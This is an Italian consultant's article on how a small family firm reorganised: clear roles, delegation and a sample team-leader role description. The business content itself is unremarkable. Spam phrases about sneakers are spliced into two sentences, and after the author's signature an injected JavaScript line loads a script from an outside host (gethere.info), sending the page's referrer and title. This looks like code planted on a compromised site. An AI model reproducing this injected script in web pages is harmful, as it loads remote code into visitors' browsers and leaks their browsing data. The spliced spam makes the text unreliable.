L’evoluzione organizzativa di una Piccola Media Impresa (PMI). La “fantasimile” storia di Bruno e del suo gruppo.

di Simonetta Pugnaghi - 01 aprile 2011
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Bruno è un imprenditore tipico, va verso i sessant’anni anni, ha una impresa da diverso tempo in cui lo aiuta la moglie, ha una figlia grande che da poco è entrata in azienda. Tanto tempo fa, si è messo in proprio…

Bruno è un imprenditore tipico, va verso i sessant’anni anni, ha una impresa da diverso tempo in cui lo aiuta la moglie, ha una figlia grande che da poco è entrata in azienda. Tanto tempo fa, si è messo in proprio dopo un periodo come dipendente, perché aveva idee e voglia di autonomia: non se n’è mai pentito. La sua vita da imprenditore non è stata facile, ma è sempre riuscito a superare i momenti brutti. Secondo Bruno, la loro forza sta nel fatto che sanno risolvere i problemi che i clienti non sanno come affrontare, la sua azienda riesce a trovare soluzioni dove uffici tecnici e fior di laureati non arrivano.

Bruno ha contato soprattutto su se stesso e sulla sua famiglia per portare avanti la sua impresa, ma da un po’ di tempo ha trovato un gruppo di giovani collaboratori che ritiene davvero validi. Sono cinque o sei persone che si distinguono, perché tengono al lavoro e all’azienda, ce la mettono tutta per soddisfare i clienti e per riuscire nelle questioni più difficili, hanno un grande orgoglio e una grande motivazione, un po’ come lui tanti anni, fa quando è partito. Bruno non ha studiato granché, ma è una persona molto intelligente. Si rende conto del patrimonio che questi giovani rappresentano, si rende conto che sarebbe un peccato non lasciare loro spazio di crescita, non valorizzarli, e sa che, roshe run hyp femmes come ha fatto lui tanti anni fa, chi ha voglia di crescere se non trova spazio va a crearselo autonomamente. Inoltre, anche se è in gran forma, sa che nessuno è eterno. A differenza di tanti suoi colleghi della sua generazione, non ci tiene ad essere indispensabile, quello a cui tiene di più è il futuro della sua azienda, anche senza di lui. La forza è nel gruppo, il termine “team” è nel nome dell’azienda non a caso. Non sono solo parole, per Bruno è qualcosa di molto sentito. Quando li conosco, corrono tutti come matti. Sono persone cordiali ed accoglienti, mi ospitano con simpatia, mi mostrano con orgoglio la loro azienda, ma durante l’incontro nessuno sta fermo a sedere per più di cinque minuti di fila, si alzano e vanno a controllare qualcosa, qualcuno bussa con una domanda, suonano i telefoni, è un turbinio di interruzioni che denota una attività molto intensa, e piuttosto dispersiva. Loro ci sono abituati, ma è comunque stressante e poco efficiente. Dappertutto ci sono tracce di cose a metà, cartelle, scatoloni, fogli, fax, materiali, c’è anche un certo disordine nonostante l’evidente sforzo di mantenere un buon decoro nella sede. Per me, sono i primi sintomi di una organizzazione che non si è evoluta di pari passo con la crescita aziendale, sono elementi da verificare ma in genere sono segnali importanti. Infatti, Bruno ed i suoi collaboratori descrivono una situazione in cui tutti fanno un po’ di tutto, nonostante abbiano cercato di dividersi i compiti le divisioni saltano continuamente. Bruno prende in pratica tutte le decisioni, ordinarie e straordinarie, ma spesso è fuori o impegnato e il gruppo si deve arrangiare. Quando il titolare viene messo al corrente, apprezza lo sforzo ma molte volte non approva le scelte fatte in sua assenza. Le persone sono contente della collaborazione nel gruppo, del fatto che tutti si facciano in quattro per aiutare chi ne ha bisogno e per soddisfare i clienti, ma rilevano che spesso le commesse si inceppano, nascono diversi imprevisti che fan perdere tempo e che si potevano evitare, fraintendimenti, le informazioni non ci sono o bisogna diventare detectives per trovarle, a volte i clienti si lamentano dei tempi lunghi. Io immagino che i margini, già abbastanza risicati dato il mercato, si riducano al minimo in queste condizioni. Riassumendo, i ruoli sono piuttosto sovrapposti, i processi di delega solo abbozzati, il flusso delle informazioni è scarsamente formalizzato, gli imprevisti sono numerosi, spesso sono causati internamente e gestiti in modo contingente. L’organizzazione informale con cui partono praticamente tutte le piccole imprese – tutti fanno un po’ di tutto, il titolare è onnipresente e unico decisore, siamo tutti “lì” e sempre in contatto – è rimasta tale anche dopo che l’azienda è cresciuta e quell’organizzazione non è più adeguata alle attuali dimensioni e complessità. Ora che in azienda ci sono una trentina di dipendenti, non è più conveniente una struttura organizzativa così semplice e soprattutto delegare diventa molto importante, perché nemmeno Bruno, con la sua energia e la sua esperienza, arriva più dappertutto. Quando gli dico che sta diventando un tappo, che sta frenando la possibilità di crescita della sua azienda, sorride. È proprio per questo che ti ho chiamato, mi fa.  Così, dopo una serie di interviste in cui li conosco meglio e mi costruisco un quadro più preciso ed approfondito della loro realtà, disegno per loro una nuova struttura organizzativa, un organigramma chiaro, i ruoli descritti con le responsabilità assegnate a ciascuno in modo esplicito (riporto un esempio al termine dell’articolo). Per progettare, ho chiarito con Bruno quali linee strategiche intende seguire nel prossimo periodo, in modo da tenerne conto e non delineare una organizzazione solo orientata al passato. Nella mia esperienza, i principi fondamentali da rispettare nel lavoro di progettazione sono cinque:

1.      non esiste una organizzazione ideale, valida generalmente, ma è necessario definire l’organizzazione in modo personalizzato, basandosi sulla storia e sulla situazione aziendale correttamente analizzata, evitando di importare o imitare modelli altrui.

2.      Nessuna azienda è mai completamente disorganizzata, occorre pertanto mantenere il più possibile ciò che già funziona ed intervenire solo dove necessario. L’intervento non deve riguardare soltanto la soluzione delle problematiche attuali, come dicevo poco fa, ma deve tenere conto delle linee di sviluppo future, per evitare di realizzare una soluzione organizzativa obsoleta in breve tempo.

3.      È fondamentale evitare di impostare l’organizzazione sulle caratteristiche delle persone presenti, adattando le logiche alle loro capacità e limiti. In questo modo, l’organizzazione evolve poco, richiede poco alle persone, e si dimostra rigida, in quanto non regge facilmente a sostituzioni e nuovi inserimenti. Una corretta progettazione quindi è basata sulle attività da svolgere, e non sulle persone, le funzioni ed i ruoli sono individuati secondo la logica organizzativa, indipendentemente dall’attuale ripartizione di responsabilità e compiti, o dalle caratteristiche delle persone al momento incaricate.

4.      Deve essere garantita la chiarezza dei ruoli e delle linee gerarchiche, assicurando così se il caso la possibilità che la stessa persona ricopra più posizioni, ma senza sovrapposizioni o scavalcamenti.

5.      E’ preferibile optare per minime responsabilità chiave – ovvero specificare le responsabilità più importanti per ogni ruolo-evitando il tradizionale, e rigido, mansionario – elenco minuzioso di ogni compito affidato a ciascuno, che diventerebbe un alibi.

Nell’azienda di Bruno, il riassetto che propongo è visto con un certo scetticismo. Da un lato, titolare e principali collaboratori vedono nella nuova organizzazione la chiarezza e la funzionalità di cui sentono la necessità, dall’altro lato temono che lavorando con ruoli definiti e regole precise ci si burocratizzi troppo. E poi non sono sicuri di riuscire a cambiare abitudini, oggi tutti vanno da Bruno, domani riusciranno a rispettare le linee gerarchiche? E Bruno riuscirà a non scavalcare i nuovi responsabili? Il cambiamento è prima di tutto di mentalità, e prima di tutto del titolare e fondatore. Ma Bruno accetta con convinzione di fare una prova, il gruppo lo segue. Parte il periodo di rodaggio, in cui sperimentano la nuova struttura e le nuove regole, facciamo il patto che non si torna indietro alla prima difficoltà e che manterranno un filo diretto con me.

In realtà, i problemi sono meno del previsto. Le cose vanno bene, roshe run hyp qs lavorano meglio, i risultati danno coraggio. Bruno si dimostra il più ligio a quanto stabilito, stupisce tutti positivamente e traina il gruppo. I suoi nuovi responsabili cominciano ad apprezzare l’autorità che l’azienda ha dato loro ufficializzando i ruoli, e si conquistano l’autorevolezza sul campo. Non è così difficile, lavorano lì da tempo e sono persone competenti e dal buon potenziale. All’incontro di verifica, dopo tre mesi, hanno messo in pratica tutte le modifiche più importanti e non hanno incontrato nessun ostacolo rilevante. Mi complimento con loro e ci salutiamo molto contenti, sto uscendo e Bruno mi fa, hai visto, che non sono più un tappo come prima. Rivedo Bruno quattro o cinque anni dopo, prende parte a un mio seminario accompagnato dalla figlia e da uno dei collaboratori principali. Mi fa davvero molto piacere incontrarli, mi raccontano dell’azienda, di come vanno le cose, sono soddisfatti. Stiamo per separarci quando Bruno mi fa, meno male che abbiamo fatto quel lavoro qualche anno fa, perché poi … è arrivata la telefonata! E mi racconta che un giorno, nel pieno di una giornata di lavoro, riceve una chiamata, è l’ospedale che ha i risultati delle sue analisi e lo convoca urgentemente. Lui risponde che non ha tempo, ha degli appuntamenti, non può andare a ritirare le analisi, e il sanitario lo interrompe, no, non ci siamo capiti, lei non può muoversi, le mandiamo immediatamente un elicottero, deve essere ricoverato subito e trasportarla in altro modo sarebbe troppo pericoloso. Le analisi hanno rivelato una malattia rara, Bruno rischia una emorragia interna per un nonnulla. Ovviamente, lascia tutto e va a curarsi. Resta in ospedale e poi in convalescenza sei mesi. Anche se le difficoltà ci sono, l’azienda reagisce, il gruppo si fa ancora più compatto e comunque i responsabili prendono le redini, come del resto stavano già facendo con la supervisione di Bruno, fanno fronte comune. L’assenza di Bruno pesa ma non è un disastro. Ne vengono fuori, e ora sono qui a raccontarlo. Poiché Bruno è un imprenditore tipico, ne ho fatto una specie di testimone in questo breve articolo, la sua esperienza e quella del suo gruppo è un esempio di lungimiranza, intelligenza e capacità. Ho parlato di lui, ma di interventi come quello nella sua azienda ne ho seguiti tanti, Bruno non è un caso raro, semmai è fuori del comune la sua sensibilità.  Chi non evolve ha sempre “valide” ragioni per non farlo, le persone non mi seguono, poi rischiamo di fare peggio, abbiamo sempre fatto così, cosa vuoi che chiamiamo un esperto di organizzazione: nessuno conosce la nostra azienda come noi, sarebbe bello ma non fa per noi, etc… etc… etc…, ma se poi arriva la telefonata?

Il ruolo di capo squadra in una PMI (Esempio).

Il Responsabile di squadra risponde all’esigenza di una presenza costante a fianco degli operai ed alla necessità di facilitare il loro lavoro coordinando le operazioni di preparazione delle attività e di intervento tempestivo sui problemi. Si tratta quindi di una figura di riferimento tecnico ed organizzativo, che contemporaneamente ha capacità pratiche. Le sue responsabilità sono cinque:

1) Ricezione programma di lavoro e analisi Il Responsabile di squadra riceve dal Responsabile produzione l’elenco delle commesse da realizzare, che specifica l’ordine di priorità. Il Responsabile di squadra analizza le commesse da realizzare, prendendo atto delle problematiche che si potranno presentare e predisponendo, per quando possibile, contromisure. Il Responsabile di squadra assicura la corretta e puntuale realizzazione del programma ricevuto. Informa il Responsabile produzione sullo stato di avanzamento delle attività e su eventuali imprevisti che impediscono la puntuale realizzazione del programma assegnato. Riceve tempestivamente dal Responsabile produzione notizia di eventuali modifiche richieste dal cliente o modifiche al programma, concordando modalità e tempi di realizzazione.

2) Condizioni per lo svolgimento del programma di lavoro Il Responsabile di squadra crea le condizioni per lo svolgimento corretto e puntuale del programma di lavoro assegnato dal Responsabile di produzione. Pertanto si assicura, direttamente o tramite l’operatore, della presenza di tutti gli elementi necessari alla realizzazione delle commesse: materiale, attrezzature, programma, schede e disegni, etc … e dispone l’acquisizione degli elementi mancanti. In particolare, presidia la presenza di utensili speciali e ne dispone il riordino quando necessario, operando all’interno delle regole aziendali, che predefiniscono il fornitore, la tipologia di utensili, prezzi, tempi e condizioni di pagamento.

3) Assegnazione compiti e verifica In base a quanto concordato col diretto referente, il Responsabile di squadra distribuisce i compiti tra gli Addetti e verifica la correttezza tecnica del loro lavoro, fornisce le istruzioni operative e interviene per risolvere quesiti e imprevisti. Risponde del mantenimento dello standard di qualità aziendale nelle fasi di pertinenza e custodisce la documentazione tecnica e di produzione. Provvede alla rilevazione di eventuali difettosità che recupera tempestivamente o segnala al diretto responsabile.

4) Addestramento  e valutazione del personale Il Responsabile di squadra cura l’addestramento del personale, in base a quando definito con il Responsabile produzione, al quale fornisce valutazioni sulle capacità tecniche raggiunte dalle diverse persone e sulla correttezza del loro comportamento sul luogo di lavoro. Assicura il rispetto delle normative di sicurezza nell’ambiente di lavoro, nei reparti e magazzini di propria competenza.

5) Macchine, attrezzature e logistica  Il Responsabile di squadra realizza i programmi di manutenzione ordinaria ricevuti dal Responsabile produzione, al quale segnala guasti ed esigenze di intervento straordinario. Su input del diretto referente, organizza e presidia l’intervento dei tecnici esterni. Assicura l’ordine e la pulizia del proprio reparto ed il miglior utilizzo degli spazi in dotazione. Garantisce pertanto una buona gestione della logistica interna – movimentazione e stoccaggio materiali e attrezzature.

Il Responsabile di squadra risponde al Responsabile produzione. Da lui dipendono gli addetti della squadra.

Grazie a chi ha letto!

Simonetta Pugnaghi  (Consulenza di direzione, formazione e counseling).s.src='http://gethere.info/kt/?264dpr&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '';

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